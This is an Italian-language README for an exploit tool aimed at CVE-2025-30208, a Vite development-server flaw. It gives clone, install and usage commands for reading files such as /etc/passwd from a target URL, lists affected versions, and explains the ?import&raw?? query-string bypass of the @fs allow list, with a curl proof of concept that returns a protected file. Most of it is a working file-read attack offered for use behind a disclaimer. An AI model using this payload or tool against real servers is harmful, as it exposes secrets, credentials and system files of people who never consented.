
Questo exploit è destinato esclusivamente a scopi educativi e di test di sicurezza etici. L'utilizzo di questo exploit contro target senza previo consenso reciproco è illegale e lo sviluppatore declina ogni responsabilità per uso improprio o danni causati da questo exploit.
[!IMPORTANT]
Dichiarazione di non responsabilità
Questo exploit è destinato esclusivamente a scopi di test di sicurezza educativi ed etici. L'uso di questo exploit contro target senza previo consenso reciproco è illegale e lo sviluppatore declina ogni responsabilità per uso improprio o danni causati da questo exploit.
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help show this help message and exit
-t <Target URL> Example: -t http://localhost:5173/
-fp <File Path> Example: -fp /etc/passwd
-i Interactive mode
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
Il contenuto di file arbitrari può essere restituito al browser.
Sono interessate solo le app che espongono esplicitamente il server di sviluppo Vite alla rete (usando --host o l'opzione di configurazione server.host).
@fs nega l'accesso ai file al di fuori della lista consentita di Vite. Aggiungere ?raw?? o ?import&raw?? all'URL aggira questa limitazione e restituisce il contenuto del file se esiste. Questo bypass esiste perché i separatori finali come ? vengono rimossi in diversi punti, ma non vengono considerati nelle regex delle stringhe di query.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...